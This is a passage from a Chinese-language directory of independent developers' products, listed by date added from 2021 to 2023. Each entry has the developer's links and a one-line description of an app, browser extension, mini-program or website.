* :white_check_mark: [DenoPark](https://denopark.com)：打字RPG游戏，可以背单词，记快捷键
### 2023年7月17号添加
---
#### 张土福(上海) - [Github](https://github.com/tufook), [博客](https://tufook.com/)
* :white_check_mark: [Foresee](https://apps.apple.com/cn/app/foresee-predictions-tracker/id6447700092)：iOS App，跟踪你的预测以提升你的判断力
### 2023年7月12号添加
---
#### GGBond - [个人网站](https://boxopened.github.io/)
* :white_check_mark: [雨巷](https://apps.apple.com/us/app/%E9%9B%A8%E5%B7%B7/id1619940076)：为程序员打造的专属白噪音工具，精选钢琴曲混合自然音帮助保持专注，提高效率
* :white_check_mark: [文曲星记单词](https://apps.apple.com/us/app/%E6%96%87%E6%9B%B2%E6%98%9F%E8%AE%B0%E5%8D%95%E8%AF%8D/id1618265393)：灵感来源于古老的文曲星电子辞典，经典复古的单词记忆软件
* :white_check_mark: [预算笔记](https://apps.apple.com/us/app/budget-note/id1623043447)：一个有预算功能的记事簿，免注册，数据本地存储，同时支持Web多端访问
### 2023年7月5号添加
---
#### Patrick - [个人网站](http://patzhong.com)
* :white_check_mark: [MoodUp](https://apps.apple.com/us/app/moodup-breeze-mental-health/id6450100126)：帮助你记录心情和管理情绪的日记APP
#### River(深圳) - [Github](https://github.com/hepengwei/visualization-collection)
* :white_check_mark: [visualization-collection](http://hepengwei.cn)：一个专注于前端视觉效果的集合应用，包含CSS动效、Canvas动画、人工智能应用等上百个案例
### 2023年6月29号添加
---
#### Airsaid（武汉） - [个人网站](http://airsaid.com/)
* :white_check_mark: [ChatBoost](https://play.google.com/store/apps/details?id=studio.muggle.chatboost)：原生 Android ChatGPT 客户端
* :white_check_mark: [数字华容道](https://play.google.com/store/apps/details?id=com.mugglegame.numpuzzle)：经典数字拼图智力小游戏
* :white_check_mark: [点点](https://play.google.com/store/apps/details?id=com.mugglegame.dotdot)：连点成线休闲小游戏
### 2023年6月19号添加
---
#### 甘小蔗（重庆） - [个人网站](https://gxzv.com/?chinese-independent-developer)
* :white_check_mark: [GPEG 九型人格测试系统](https://gxzv.com/know-yourself/enneagram/)：九型人格专业测试与分析 - [更多介绍](https://gxzv.com/know-yourself/enneagram/all-types/)
* :white_check_mark: [ChiauFarm](https://www.chiau.net/farm/)：Chia Token 跨平台可视化多功能自动耕种客户端
* :white_check_mark: [MetorChat](https://chat.metauit.com/)：对话基于 NLP 和 ML 的大型语言模型
* :clock8: [工业上位机](https://gxzv.com/blog/review-2022-12/#%E5%A4%A7%E5%89%8D%E7%AB%AF)：一些基于大前端开发的上位机应用
* :x: [MCAdmin](https://www.mcadmin.cn/)：面向 Minecraft 内容提供者的垂直社区
### 2023年6月8号添加
---
#### Jinke Du（上海）- [个人网站](https://dujinke.com)
* :white_check_mark: [行动日](https://apps.apple.com/app/id6444159859)：一个待办/不办清单应用。
* :white_check_mark: [好天气](https://apps.apple.com/app/id1658473170)：查看现在、未来与过去的天气。
* :white_check_mark: [生或死](https://apps.apple.com/app/id1498862402)：康威生命游戏（Conway’s Game of Life）。
* :white_check_mark: [白边框](https://apps.apple.com/app/id1659350166)：为照片添加边框。
* :white_check_mark: [计数器](https://apps.apple.com/app/id1533504378)：记录一切计数。
* :white_check_mark: [卅六问](https://apps.apple.com/app/id1541439969)：让陌生人迅速相爱的 36 个问题。
* :white_check_mark: [猜文字](https://apps.apple.com/app/id1606194420)：中文 Wordle，在 6 次机会中，通过笔画、笔顺猜出正确文字。
* :white_check_mark: [伊摩基](https://apps.apple.com/app/id1619616706)：用 Emoji 记录生活日记。
* :white_check_mark: [相机印](https://apps.apple.com/app/id6447237830)：为照片添加参数水印边框。
### 2023年6月4号添加
---
#### Grant
* :white_check_mark: [软猫下载](https://softmall.net/)：无插件软件/APP下载中心
### 2023年5月28号添加
---
#### Abenx
* :white_check_mark: [开心果节拍器](https://apps.apple.com/cn/app/id1538268059)： 首款支持Apple Watch的节拍器。学琴，跑步配速的好帮手。
* :white_check_mark: [好色相机](https://apps.apple.com/cn/app/id1151401197)： 从照片中提取关键色彩值，为你的设计提供色彩灵感。
* :white_check_mark: [IconShop](https://apps.apple.com/cn/app/id6443592678)：快速生成Xcode直接可以使用的icon格式，支持云存储。
### 2023年5月27号添加
---
#### Sunner(北京) - [Github](https://github.com/sunner)
* :white_check_mark: [ChatALL](http://chatall.ai)：同时和 10+ 个大模型（ChatGPT、Bing Chat、文心一言、讯飞星火等）对话，找到最佳回答
### 2023年5月24号添加
---
#### 糖伴西红柿
* :white_check_mark: [海报图生成 - Foolstack](https://foolstack.net)： 使用 API 将网页/HTML 渲染成高质量图片
### 2023年5月18号添加
---
#### IndieKKY(浙江) - [Github](https://github.com/IndieKKY)
* :white_check_mark: [哔哩哔哩字幕列表](https://github.com/IndieKKY/bilibili-subtitle)：字幕显示,下载,总结,翻译
### 2023年5月13号添加
---
#### 飞刀(北京)
* :white_check_mark: [五彩插件](https://www.dotalk.cn/product/wucai): 网页划线高亮批注笔记工具，支持同步到 Obsidian - [更多介绍](https://www.yuque.com/makediff/wucai)
### 2023年5月9号添加
---
#### mattewwung(大连)
* :white_check_mark: [口袋四级](https://apps.apple.com/cn/app/id1673721668)：四级必背高频单词 - [更多介绍](https://apps.apple.com/cn/app/id1673721668)
### 2023年5月8号添加
---
### aizuzi - [Github](https://github.com/aizuzi)
* :white_check_mark: [减肥小助手](https://apps.apple.com/cn/app/id1583776291)：减肥期间的小工具，帮助记录体重和卡路里 - [更多介绍](https://ohee.cn/static/download/index.html)
### 2023年4月30号添加
---
#### cxxsucks(徐州)
* :white_check_mark: [SearchEverywhere](https://github.com/cxxsucks/SearchEverywhere/releases/tag/v0.3.1)：Linux, macOS 与 Windows 上的文件检索工具，含有`find`以及`Everything`的各种功能，外加内容查找、上下层目录查找等 - [更多介绍](https://github.com/cxxsucks/SearchEverywhere)
### 2023年4月24号添加
---
#### weekend-project-space - [Github](https://github.com/undb-xyz/undb)
* :white_check_mark: [aihub](https://aihub.bitmagic.space/)：收集 AI 相关应用和提示与源码
### 2023年4月14号添加
---
#### nichenqin(上海) - [Github](https://github.com/undb-xyz/undb)
* :white_check_mark: [undb](https://www.undb.xyz/)：轻量自部署的无代码软件
### 2023年4月13号添加
---
#### HyJames(广州)
* :white_check_mark: [学习杂货铺](https://xuexizahuopu.fun/)：一个集成待办、进度、倒数日、社区等功能网站（有小程序版）
### 2023年4月12号添加
---
#### mark420524 - [GitHub](https://github.com/mark420524)
* :white_check_mark: [早晚猜](https://github.com/mark420524/guess): 猜成语微信小程序，看图猜成语
#### Gomi(成都) - [GitHub](https://github.com/gxy5202) [主页](https://gomi.site)
* :white_check_mark: [Video Roll](https://github.com/VideoRoll/VideoRoll): 一款帮助你旋转、缩放、移动、调整比例、镜像翻转、调节音调、专注和滤镜任意网页中 HTML5 视频的浏览器插件（Chrome/Edge/Firefox）- [更多介绍](https://github.com/VideoRoll/VideoRoll/blob/main/README-zh_CN.md)
### 2023年4月4号添加
---
#### 静彦齐(吉林)
* :white_check_mark: [WriteDeck](https://apps.apple.com/cn/app/writedeck/id6446620450)：一款写作训练 App，利用随机生成的提示词卡片进行故事创作。
### 2023年3月30号添加
---
#### weijarz(杭州) - [主页](https://www.oxyry.com/)
* :white_check_mark: [QiReader](https://www.qireader.com)：全平台网页 RSS 阅读器，同时支持推送文章到 Kindle。
### 2023年3月8号添加
---
#### moonrailgun(上海) - [Github](https://github.com/moonrailgun), [博客](http://moonrailgun.com/)
* :white_check_mark: [Tailchat](https://github.com/msgbyte/tailchat)：您自己工作区中的下一代 noIM 应用程序 - [更多介绍](https://tailchat.msgbyte.com/)
### 2023年3月4号添加
---
#### Kuingsmile(杭州) - [Github](https://github.com/Kuingsmile), [博客](https://www.horosama.com)
* :white_check_mark: [PicList](https://github.com/Kuingsmile/PicList)：一款云存储/图床管理和图片上传工具，基于 PicGo 项目的深度二次开发 - [更多介绍](https://piclist.cn)
### 2023年2月24号添加
---
#### Lessimore - [官网](https://supercoder.lessimore.cn/)
* :white_check_mark: [Super Coder](https://apps.apple.com/cn/app/super-coder-%E5%89%AA%E5%88%87%E6%9D%BF-%E6%9C%AC%E5%9C%B0%E5%8C%96-%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E6%A0%B7%E6%A0%B7%E9%83%BD%E8%A1%8C/id1663425686?mt=12)：剪切板管理、Swift 代码生成、Xcode 本地化样样都行 - [更多介绍](https://supercoder.lessimore.cn/)
### 2023年2月22号添加
---
#### SvenFE（昆明）- [Github](https://github.com/shensven)
* :white_check_mark: [Morphling](https://github.com/shensven/Morphling): 一款将 Hex、RGB 或者 HSL 色值转换为 CSS filter 属性的 macOS 桌面工具。
### 2023年2月19号添加
---
#### tangshimin（深圳）- [Github](https://github.com/tangshimin)
* :white_check_mark: [幕境](https://github.com/tangshimin/MuJing): 沉浸式学英语,使用自己感兴趣的电影、美剧或文档，生成词库（单词本）。在记忆单词时，可以练习拼写并观看相关的视频片段，以便更好的理解和记忆单词。播放电影时，以弹幕的形式复习词库中的单词，使得单词记忆不再是一件乏味的事。
### 2023年2月18号添加
---
#### Darkce(北京) - [Github](https://github.com/luoxuhai)
* :white_check_mark: [夜视仪 App](https://github.com/luoxuhai/NightVision)：一款开源的可在完全无光环境下扫描和检测距离的 iOS App，使用了 iPhone 和 iPad 后置的激光雷达扫描仪。
### 2023年2月11号添加
---
#### createitv(武汉) - [博客](https://www.panghuang.tech)
* :white_check_mark: [每日工具箱随身助手](https://typora-1300715298.cos.ap-shanghai.myqcloud.com//blog扫码_搜索联合传播样式-标准色版.png)：一个集成去水印、电子木鱼、房贷计算、小孩取名、壁纸下载等多种功能的小程序
### 2023年2月8号添加
---
#### miniits(厦门) - [Github](https://github.com/hy4101)
* :white_check_mark: [BdTab新标签页扩展](http://www.bdtab.cn)：一个浏览器扩展程序，高度自定义，组件化，跨平台等功能的工具
### 2023年1月27号添加
---
#### syt - [Github](https://github.com/syt2)
* :white_check_mark: [Tracepad](https://apps.apple.com/app/id1658454999)：将 iPhone/iPad 变为控制 Mac 的 Trackpad，支持 Trackpad 的绝大部分手势 - [更多介绍](https://www.tracepad.site/tracepad/)
### 2023年1月25号添加
---
#### MrZenW - [Github](https://github.com/MrZenW)
* :white_check_mark: [G-侠客 | BPC.js](https://g-xiake.com)：可以生成能够给电波表对时的电磁波的 JS 库，并且用此搭建了一个免费帮大家对时的网站，它可以帮助拥有电波表（如卡西欧）的朋友在没有电波的地方对时 - [更多介绍](https://github.com/MrZenW/BPC.js)
#### lencx - [Github](https://github.com/lencx)
* :white_check_mark: [ChatGPT](https://github.com/lencx/ChatGPT)：ChatGPT 跨平台桌面应用，支持 Mac、Windows 和 Linux。主要功能有斜杠指令，系统托盘，快捷键，系统菜单，聊天记录导出（PNG，PDF，Markdown），加载任意网站 URL 作为应用程序窗口（URL 桌面化，可以借助系统 API 做更多有趣的事情）- [更多介绍](https://github.com/lencx/ChatGPT/blob/main/README.md)
### 2023年1月24号添加
---
#### shartoo - [Github](https://github.com/shartoo)
* :white_check_mark: [webhub123](https://www.webhub123.com/#/home/more)：一个<b>管理</b>和<b>分享</b>优质网站收藏的网站，不仅限于博客，希望包含全网各个领域 - [更多介绍](https://github.com/1c7/chinese-independent-developer/issues/160#issuecomment-1400422591)
### 2023年1月22号添加
---
#### Sworld(温州) - [Github](https://github.com/mcthesw), [博客](http://blog.sworld.club/)
* :white_check_mark: [游戏存档管理器](https://github.com/mcthesw/game-save-manager)：一个简单、美观的游戏存档管理软件 - [更多介绍](https://www.bilibili.com/read/cv15774558)
### 2023年1月14号添加
---
#### GeorgeZou - [Github](https://github.com/georgezouq)
* :white_check_mark: [星搭 MtBird](https://github.com/staringos/mtbird) - 💻 小程序、H5 网站 无/低代码平台，无需代码，拖拽操作快速生成页面应用，数据可视化接入，定制业务自由拓展.
### 2023年1月13号添加
---
#### B3log(云南) - [Github](https://github.com/siyuan-note)
* :white_check_mark: [SiYuan](https://b3log.org/siyuan)：思源笔记是一款本地优先的个人知识管理系统， 支持细粒度块级引用和 Markdown 所见即所得 - [更多介绍](https://b3log.org/siyuan)
#### 程序猿韩三皮(北京) - [Github](https://github.com/hzr1140521792)
* :white_check_mark: [make-money](https://make-money.hanzhengrong.cn)：好用的 PC 端理财工具系统（基金） - [更多介绍](https://github.com/hzr1140521792/make-money-fund)
#### dsy4567 - [Github](https://github.com/dsy4567)
* :white_check_mark: [防沉迷终结者](https://fcmsb250.github.io/) - 一个能干掉防沉迷, 帮助您实现游戏自由的浏览器扩展
#### meetqy(成都) - [Github](https://github.com/meetqy/eagleuse)
* :white_check_mark: [eagleuse](https://rao.pics) - 把 Eagle App (一个管理 UI 素材/图片的桌面应用) 打造成本地后台管理系统，快速构建 WEB 图片站。
### 2023年1月12号添加
---
#### weekendproject - [Github](https://github.com/weekend-project-space), [博客](http://weekendproject.space/)
* :white_check_mark: [webfollow](https://webfollow.cc/)：RSS 阅读器，md 风格，支持个人自定义内容顺序，pwa 可直接添加到桌面，响应式，多端运行
#### moonrailgun(上海) - [Github](https://github.com/moonrailgun), [博客](http://moonrailgun.com/)
* :white_check_mark: [codeck](https://codeck.moonrailgun.com/): 基于 JS 的可视化蓝图编程引擎，让不懂得编程的用户也能通过可视化的方式进行编程，只要掌握最基本的逻辑即可。同时支持插件形式编写适用于不同场景的代码块，产品灵感来自于`unreal`的蓝图编程引擎与`google`的`blockly`。
### 2023年1月9号添加
---
#### shenpvip - [Github](https://github.com/shenpvip)
* :white_check_mark: [羽毛球助手](https://s3.bmp.ovh/imgs/2023/01/09/0ba2aa198f7e8a33.jpg)：一键参与、发起羽毛球活动 - [更多介绍](https://github.com/shenpvip)
#### Jokerlsss(福州) - [Github](https://github.com/fjykTec/ModernWMS)
* :white_check_mark: [ModernWMS](https://wmsonline.ikeyly.com/#/login)：精简而充满现代化的 **仓库管理系统**，支持快速收发货、库存、仓内作业等功能。开箱即用、完全开源、十分钟即可上手！（标题链接可直达体验环境）
#### yiuman(广州) - [Github](https://github.com/Yiuman),
* :white_check_mark: [docod](http://42.192.95.146:3000)：智能文档比对-支持 Word、PDF 交叉比对、双屏展示、效果一目了然
一键导出差异报告、word 修订文档
### 2023年1月8号添加
---
#### Arxiv Search - [Github](https://github.com/goodnlp)
* :white_check_mark: [Arxiv Search](https://www.arxiv.dev)： 一个用于追踪各个领域最新 Arxiv 论文的搜索引擎和浏览网站。目前包含两大功能：(1) 一个网站, 包含各个领域最新文章的检索，和任意时间段的研究趋势的分析；包含搜索功能，分领域的论文浏览功能，还有更多数据分析的功能正在开发中。(2) 基于微信搜索获取最新 arxiv 论文推送 - [更多介绍](https://github.com/goodnlp/all-you-need-is-arxiv-search)
### 2023年1月7号添加
---
#### 游雨的鱼cc(杭州) - [博客](https://vipvan.cc/archives/%E8%87%AA%E5%8A%A8%E5%8C%96%E5%8A%9E%E5%85%AC%E8%BD%AF%E4%BB%B6#toc-head-0)
* :white_check_mark: [Workflow](https://vipvan.cc/upload/Workflow.zip)：一款实现自动化 Excel 操作的中文框架 - [更多介绍](https://space.bilibili.com/14481495/)
### 2023年1月3号添加
---
#### zcf0508(上海) - [Github](https://github.com/zcf0508), [博客](https://huali.cafe/)
* :white_check_mark: [AutoCut Client](https://github.com/zcf0508/autocut-client)：该项目为 [AutoCut](https://github.com/mli/autocut) 提供一个开箱即用的客户端。- [更多介绍](https://github.com/zcf0508/autocut-client/blob/master/README_zh.md)
### 2023年1月1号添加
---
#### FanChenIO(北京)
* :white_check_mark: [Dawn Launcher](https://dawnlauncher.com/)：Dawn Launcher Windows 快捷启动工具，解决桌面杂乱无章的问题，让您的桌面干净整洁。
### 2022年12月30号添加
---
#### Loui(长沙)
* :white_check_mark: [PPT批量处理百宝箱](http://www.batchtoolset.com/)：高效强悍的PPT文件批量处理工具，致力于为使用者提供可靠、安全、高效、简洁、省时省力的 PPT 文件批量处理解决方案
### 2022年12月15号添加
---
#### 亦也（武汉）
* :white_check_mark: [挖线索](https://waxiansuo.com/)：致力于解决线上线下活动潜在客户不愿留资难题
### 2022年12月13号添加
---
#### xiaoluoboding(大理) - [Github](https://github.com/xiaoluoboding)
* :white_check_mark: [One Tab Group](https://onetab.group)：一款集多功能于一身的代替 `OneTab`/`Session Buddy` 的下一代标签页/标签组管理器, 帮助你有效地管理、组织您的浏览器标签页，支持云同步以及同步到 Notion 等功能。
### 2022年12月12号添加
---
#### Mekal(Wuhan) - [Github](https://github.com/mekalz)
* :white_check_mark: [iOS App：怪兽音符 - 五线谱识谱练习卡](https://apps.apple.com/cn/app/%E6%80%AA%E5%85%BD%E9%9F%B3%E7%AC%A6-%E4%BA%94%E7%BA%BF%E8%B0%B1%E8%AF%86%E8%B0%B1%E7%BB%83%E4%B9%A0%E5%8D%A1/id1641497474)：可以连接电钢琴的五线谱识谱训练工具，适用于钢琴初学者训练五线谱的读谱反应速度
* :white_check_mark: [iOS App：可沐心语 - 通过 Emoji 随时记录心情，阅读精美治愈与激励好句子](https://apps.apple.com/cn/app/%E5%8F%AF%E6%B2%90%E5%BF%83%E6%83%85%E8%AF%AD%E5%BD%95/id6444787701)：每日语录与心情记录小工具。
精美的图片配合绝伦的语录，能够不经意间治愈你内心的创伤，亦或为你注入能量；
你还可以使用一个 eMoji 表情来代表并记录你此刻的心情，之后更是可以根据心情指数曲线来跟踪回顾自己一段时间以来的心情变化情况，不断调整自己的情绪，让自己每天都能够轻松摆脱负面情绪，让自己每天都可以能量满满的生活和工作。
### 2022年12月8号添加
---
#### onlymash - [GitHub](https://github.com/onlymash)
* :white_check_mark: [materixiv](https://play.google.com/store/apps/details?id=onlymash.materixiv)：一个 Pixiv app - [更多介绍](https://github.com/onlymash/materixiv)
### 2022年12月5号添加
---
#### ch3ng(成都) - [官网](https://www.ohmymd.app)
* :white_check_mark: [Oh Mymd](https://www.ohmymd.app)：一个支持本地与云同步的 Markdown 编辑器.
### 2022年12月3号添加
---
#### kongkongye(台州) - [Github](https://github.com/kongkongye)
* :white_check_mark: [sssbar](https://bar.ssstab.com)：浏览器快捷搜索框扩展,在线工具网页搜索.
### 2022年12月2号添加
---
#### Vio(深圳) - [Github](https://github.com/vioao),[博客](https://blog.vioao.site/)
* :white_check_mark: [智能水印工具箱](https://github.com/vioao)：一个图片/短视频处理的 AI 小程序。能够一键去水印、画质增强、背景移除、图集提取。
* :white_check_mark: [临时邮箱小助手](https://github.com/vioao)：一个提供临时、安全、匿名、免费的一次性电子邮箱的小程序。支持自定义邮箱地址和附件下载。
### 2022年11月30号添加
---
#### Patrick(佛山) - [Github](https://github.com/yuandongzhong), [博客](https://patzhong.com/), [Twitter](https://twitter.com/pat_zhong),
* :white_check_mark: [UnderThink](https://underthink.cc/)：一个危险的头脑风暴工具 - [更多介绍](https://www.v2ex.com/t/899011)
### 2022年11月22号添加
---
#### 一刀(杭州) - [Github](https://github.com/laosanyuan)
* :white_check_mark: [火浣](https://github.com/laosanyuan/HuoHuan)：一款微信群爬虫 Windows 客户端工具，用于获取网络中他人公开并且有效的微信群聊二维码图片。提供安装包。
### 2022年11月16号添加
---
#### kongkongye(台州) - [Github](https://github.com/kongkongye)
* :white_check_mark: [ssstab](https://ssstab.com)：ssstab新标签页,你的网络书签管理工具.
### 2022年11月12号添加
---
#### Kuingsmile(杭州) - [Github](https://github.com/Kuingsmile), [博客](https://www.horosama.com)
* :clock8: [PicHoro](https://github.com/Kuingsmile/PicHoro)：一款用于上传图片和管理云存储/图床平台的安卓 APP，与电脑端的 PicGo 配置互通，正在准备上架 - [更多介绍](https://pichoro.horosama.com)
### 2022年11月8号添加
---
#### Zeffon(广州) - [Github](https://github.com/zeffon/english)
* :white_check_mark: [IEnglish](https://english.zeffon.cn/)：英语口语练习网站，包括音标、语音标记、语音技巧等。
### 2022年10月28号添加
---
#### huangjx(广州) - [Github](https://github.com/zhandouxiaojiji), [博客](https://blog.coding1024.com/)
* :white_check_mark: [Tesla Light Show Creator](https://tesla.coding1024.com/)：特斯拉灯光秀制作工具，导入背景音乐一键生成炫酷的自定义灯光秀。
#### Likun(杭州) - [Github](https://github.com/Likunone), [博客](https://onelk.cn)
* :white_check_mark: [爱吖去水印](https://user-images.githubusercontent.com/15193414/198528969-868cd864-f462-46e8-91ef-e90fd8201bbb.png)：免费去水印、抖音去水印、快手去水印，一键保存无水印视频到相册。
### 2022年10月25号添加
---
#### 染河(杭州) - [Github](https://github.com/hewenguang)
* :white_check_mark: [Circle 阅读助手](http://circlereader.com/)：一款提供沉浸式阅读的扩展，拥有强大智能的识别和排版能力，让你爱上在网页上阅读
### 2022年10月12号添加
---
#### ExistOrlive - [Github](https://github.com/ExistOrLive), [博客](https://gitbook.existorlive.cn/)
* :white_check_mark: [ZLGithubClient](https://apps.apple.com/app/gorillas/id1498787032)：基于 Github 官方 API 开发的 Github iOS 客户端 - [更多介绍](https://github.com/ExistOrLive/GithubClient)
### 2022年10月11号添加
---
#### Evancohe(惠州) - [Github](https://github.com/evancohe), [Twitter](https://twitter.com/evancohe)
* :white_check_mark: [Kake日记](https://apps.apple.com/us/app/kake-journal-password-diary/id1515415906)：一款极简风格的日记 App, 多设备适配, 曾上 Apple 推荐。
* :white_check_mark: [Je Focus](https://apps.apple.com/sg/app/je-focus/id1486865992)：一款极简风格的专注 App, 用重力感应检测用户拿手机并暴力提醒.
### 2022年8月24号添加
---
#### Denny Wang(合肥) - [GitHub](https://github.com/eggsblue),[Twitter](https://twitter.com/DennyWang99)
* :white_check_mark: [Wins](https://wins.cool) - 为 Mac 带来系统级的分屏功能，主打悬浮分屏、系统级集成、流畅动画、低功耗等特点。
### 2022年7月28号添加
---
#### yellownight - [博客](https://www.caiqilian.top)
* :white_check_mark: [智能翻译器](https://github.com/yellownight) - 微信翻译小程序，提供多语言文本翻译，图片翻译，语音翻译。支持英语、日语、韩语、俄语、德语、法语、泰语、葡萄牙语、西班牙语、阿拉伯语等。
### 2022年7月26号添加
---
#### mark420524 - [GitHub](https://github.com/mark420524)
* :white_check_mark: [早晚答小程序](https://github.com/mark420524) - 小程序进行答题，增加了汉字查询、成语查询、英汉词典等功能
### 2022年7月14号添加
---
#### sorakylin(广州) - [Github](https://github.com/sorakylin), [博客](https://www.skypyb.com/2022/07/rizhi/suibi/1996/)
* :white_check_mark: [线圈](https://xquan.net)：做出来的东西没人看，没人用，没人玩，没地方展示，怎么办？看过来！这是一个能让创作者记录项目进展，分享进度成果，展示最终成品，并且可以得到来自用户（或粉丝）以及其他创作者们的反馈交流的创意平台~ - [更多介绍](https://xquan.net/help)
### 2022年6月17号添加
---
#### 秋风（北京）- [Github](https://github.com/hua1995116), [Jike](https://okjk.co/CEcbno)
* :white_check_mark: [木及简历](https://www.mujicv.com): 一款基于 Markdown 编写的简历工具，包含多个可插拔式插件。专注简历内容，告别繁琐排版
### 2022年6月13号添加
---
#### yangxuechen(成都) - [Github](https://github.com/yangxuechen/resume_vue3_ts)
* :white_check_mark: [大象简历](https://yangxuechen.github.io/resume_vue3_ts/) : 开源的简历模板工具，支持在线编辑、导出 PDF 文件
### 2022年6月6号添加
---
#### hzlzh自力（深圳） - [Github](https://github.com/hzlzh), [Twitter](https://twitter.com/hzlzh)
* :white_check_mark: [MenubarX (macOS)](https://MenubarX.app)：一款强大的 Mac 菜单栏浏览器，把网页添加到菜单栏上，像原生 App 一样即开即用
* :white_check_mark: [锁屏启动 (iOS)](https://LockLauncher.app)：丰富小组件、灵动岛网速/天气/步数等
* :white_check_mark: [ChatX (iOS/macOS)](https://6x.studio/chatx/)：一款强大的 ChatGPT 客户端
* :white_check_mark: [念念不忘 (iOS)](https://buwang.app/)：一款简单粗暴的 iOS 提醒小组件
* :white_check_mark: [WordleX (微信小程序)](https://wordlex.app/)：一款 Wordle 游戏的练习工具
### 2022年6月5号添加
---
#### Runjuu（上海） - [Github](https://github.com/Runjuu), [Twitter](https://twitter.com/runjuuu)
* :white_check_mark: [Input Source Pro](https://inputsource.pro)：优化 macOS 输入法使用体验；根据应用或网站自动切换输入法，自动展示当前输入法。
* :white_check_mark: [SongLink](https://apps.apple.com/cn/app/songlink/id1341416046)：多平台音乐搜索工具。
### 2022年6月4号添加
---
#### Carson（广州） - [Github](https://github.com/CarsonLam)
* :white_check_mark: [Quest新标签页](https://support.qq.com/products/308410/blog/744528)：一款【聚合搜索】新标签页效率插件。
### 2022年5月31号添加
---
#### 酱咸(广州) - [Github](https://github.com/Maxbee)
* :white_check_mark: [金橘记账](https://apps.apple.com/cn/app/%E9%87%91%E6%A2%A8-%E4%B8%AA%E4%BA%BA%E8%B5%84%E4%BA%A7%E8%AE%B0%E8%B4%A6%E5%8A%A9%E6%89%8B/id1551523441)：多人一起记账 股票基金自动记账的记账 App - [更多介绍](https://app.xgmm.me:3002/md_h5/front)
### 2022年5月28号添加
---
#### 沈浪熊猫儿（杭州） - [Github](https://github.com/darcy-shen), [Gitee](https://gitee.com/darcyshen)
* :white_check_mark: [墨干编辑器](https://gitee.com/XmacsLabs/mogan): 一个致力于让所有人畅快地学习既有的科学与技术，创造全新的科学与技术的结构化编辑器。- [更多介绍](https://www.bilibili.com/video/BV1tU4y1171q)
### 2022年5月19号添加
---
#### zhangyw(北京) - [Github](https://github.com/zhangyingwei), [博客](https://blog.zhangyingwei.com)
* :white_check_mark: [QuickDashboard](https://chrome.google.com/webstore/detail/quickdashboard/dicohhlagpacaelhmodlihaampnapape)：一个简洁美观的 Chrome 浏览器新标签页扩展 - [更多介绍](https://blog.zhangyingwei.com/posts/2022m5d16h20m22s20/)
### 2022年5月6号添加
---
#### dunizb(杭州) - [GitHub](https://github.com/dunizb)，[个人主页](https://mo.run/zhangzhang/)
* :white_check_mark: [集美美图](https://apps.apple.com/cn/app/id1592148389)：一个简单纯粹的美女写真壁纸精选 APP。Android 版已上线小米、华为、百度、酷安、360应用市场 - [更多介绍](https://www.pgyer.com/jmmt)
### 2022年4月18号添加
---
#### netbeen(杭州) - [GitHub](https://github.com/netbeen)
* :white_check_mark: [Wealth Manager](https://wealth-manager.netbeen.top) : 一个家庭财务管理应用，支持总资产统计/各渠道下钻，公募基金持仓分析/收益率计算/年化收益率计算，保险列表/保险续费提醒，支持多用户共同维护一个账本。致力于让每个家庭对自身的财务状况、投资收益有更加清晰的认知 - [更多介绍](https://github.com/netbeen/wealth-manager-front-end)
### 2022年4月16号添加
---
#### snow(北京) - [Github](https://github.com/yangpeng7), [博客](https://jiudian.link/)
* :white_check_mark: [竹叶日历](https://s3.bmp.ovh/imgs/2022/04/15/8dd0930705a3989a.jpg)：一个极简的日历微信小程序 - [更多介绍](https://github.com/yangpeng7)
### 2022年3月21号添加
---
#### Space Time - [Github](https://github.com/SpaceTimee), [博客](https://blog.spacetimee.xyz/)
* :clock8: [Ona Pix](https://github.com/SpaceTimee/Ona-Pix)：一只 Pixiv 直连搜图工具，梦想是成为一只优秀的 Pixiv 第三方直连客户端
### 2022年02月15号添加
---
#### zhshch(北京)
* :white_check_mark: [NextSSH | SSH工具，不只是命令终端](https://xzhshch.com/)：一个具有现代化界面与丰富功能的 SSH 连接管理工具 🔧。
### 2022年02月14号添加
---
#### 胡镇华(广州) - [Github](https://github.com/hzh-cocong), [博客](https://cocong.cn)
* :white_check_mark: [SaveTabs - Window & Tab Manager](https://www.cocong.cn/savetabs)：支持一键保存和打开所有网页，提高工作和学习效率。
### 2022年02月06号添加
---
#### Norton(南京) - [GitHub](https://github.com/jiangdi0924), [bilibili](https://space.bilibili.com/228834724)
* :white_check_mark: [Castflow](https://apps.apple.com/app/id1572179241)：一款简单快速的iOS泛用型播客App。
* :white_check_mark: [鲨鱼取图](https://apps.apple.com/app/id1590075896)：N in 1 取图 App，支持多种取图方式，例如：视频取帧，网页长图，文本取图等。
* :white_check_mark: [RSSCube](https://apps.apple.com/app/id1602812291)：一款全新的 RSS iOS 阅读器，给RSS用户提供一种新的阅读体验。
### 2022年1月29号添加
---
#### 谢宇恒(深圳) - [主页](https://xieyuheng.com), [Github](https://github.com/xieyuheng)
* :white_check_mark: [只读链接](https://readonly.link)：一个文档渲染工具，文字创作者的社区。来自书籍与文章的邀请～
#### 洋子(成都) - [Github](https://github.com/purocean), [博客](https://blog-purocean.vercel.app/)
* :white_check_mark: [Yank Note](https://github.com/purocean/yn)：一款面向程序员的 Markdown 本地笔记应用，支持代码片段运行、HTML 小工具、多种图表嵌入、历史版本回溯、插件拓展 - [更多介绍](https://blog-purocean.vercel.app/yank-note-01/)
### 2022年1月10号添加
---
#### JRay0108(济南) - [Github](https://github.com/JRay0108)
* :white_check_mark: [树影取名](https://github.com/JRay0108/shuying)：从诗经楚辞唐诗宋词等中华典籍中取名的微信小程序，也可查找名字出处及测算姓名运势。
### 2021年12月8号添加
---
#### RyukieSama(广州) - [Github](https://github.com/RyukieSama), [博客](https://ryukiedev.gitbook.io/wiki/)
* :white_check_mark: [梦见账本](https://apps.apple.com/cn/app/id1498426607)：百变外观，独创智能梦见模式的记账软件
* :white_check_mark: [扫雷Elic 无尽天梯](https://apps.apple.com/cn/app/id1488204246)：益智小游戏，挑战各国扫雷高手
* :white_check_mark: [隐私访问记录](https://apps.apple.com/cn/app/id1590992377)：系统性分析隐私访问记录，让隐私小偷无处可藏
### 2021年11月16号添加
---
#### Alecyrus - [GitHub](https://github.com/Alecyrus)
* :x: [Thorn](https://app.thorn.press)：一款简单的写作应用，无限丝滑的创作体验 - [更多介绍](https://app.thorn.press/tutorial)
### 2021年10月17号添加
---
#### lmk123 - [GitHub](https://github.com/lmk123), [博客](https://github.com/lmk123/blog/issues)
* :white_check_mark: [划词翻译](https://hcfy.app)：跨平台的一站式划词、截图、网页全文、音视频翻译扩展 - [更多介绍](https://hcfy.app/docs/guides/summary/)
### 2021年10月9号添加
---
